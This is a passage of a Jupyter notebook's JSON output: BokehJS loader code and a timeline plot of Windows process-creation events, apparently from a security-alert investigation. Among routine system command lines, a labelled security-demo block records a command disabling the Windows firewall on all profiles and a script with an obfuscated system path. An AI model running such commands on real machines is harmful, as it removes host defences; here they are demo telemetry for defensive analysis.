OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"2163\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2163\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = {\"0dc95462-545c-40d6-b486-3fd89142eecb\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2167\"},{\"id\":\"2199\"}]},\"id\":\"2254\",\"type\":\"Column\"},{\"attributes\":{\"source\":{\"id\":\"2164\"}},\"id\":\"2239\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2283\",\"type\":\"DaysTicker\"},{\"attributes\":{\"end\":1550100486011.05,\"start\":1550095104001.95},\"id\":\"2202\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2276\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2291\",\"type\":\"YearsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2284\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2236\",\"type\":\"Diamond\"},{\"attributes\":{\"background_fill_alpha\":0.5,\"background_fill_color\":\"white\",\"border_line_color\":\"red\",\"render_mode\":\"css\",\"text\":\"< Alert time\",\"text_font_size\":\"8pt\",\"x\":1550099244000.0,\"y\":0,\"y_offset\":10},\"id\":\"2253\",\"type\":\"Label\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2268\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"2228\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2228\"}]},\"id\":\"2214\",\"type\":\"Toolbar\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2282\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"green\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2225\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5},\"id\":\"2229\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"green\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2242\",\"type\":\"Diamond\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2281\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2233\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"green\"},\"line_color\":{\"value\":\"green\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2224\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"2248\"},\"glyph\":{\"id\":\"2249\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2250\"},\"selection_glyph\":null,\"view\":{\"id\":\"2252\"}},\"id\":\"2251\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2219\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2269\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data\":{\"CommandLine\":[\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" 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State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize\\n-quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe\\n/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd\\nc:\\\\W!ndows\\\\System32 4\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd /c echo timb@microsoft.com;\\nianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\\\nTemp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$2502\\n76,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\t\\nsetup.1.0.14.exe\",\".\\\\netsh.exe firewall set opmode mode=disable\\nprofile=all\",\"cmd /c echo End Security Demo tasks\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /svc\",\"\\\"C:\\\\Program Files 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--initial-client-dat\\na=0x1d4,0x1d8,0x1dc,0x1d0,0x1e0,0x7ff750ce5098,0x7\\nff750ce50a8,0x7ff750ce50b8\",\"\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\\"\\n--install-archive=\\\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\CH\\nROME_PATCH.PACKED.7Z\\\" --previous-\\nversion=\\\"72.0.3626.96\\\" --verbose-logging --do-not-\\nlaunch-chrome --system-level\",\"C:\\\\Windows\\\\TEMP\\\\CR_42BC8.tmp\\\\setup.exe\\n--type=crashpad-handler /prefetch:7 --monitor-\\nself-annotation=ptype=crashpad-handler\\n--database=C:\\\\Windows\\\\TEMP\\\\Crashpad\\n--url=https://clients2.google.com/cr/report\\n--annotation=channel= --annotation=plat=Win64\\n--annotation=prod=Chrome\\n--annotation=ver=72.0.3626.109 --initial-client-da\\nta=0x1e0,0x1e4,0x1e8,0x1dc,0x1ec,0x7ff728255098,0x\\n7ff7282550a8,0x7ff7282550b8\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\1.3.33.23\\\\Go\\nogleCrashHandler.exe\\\"\",\"\\\"C:\\\\Program Files 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/nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" 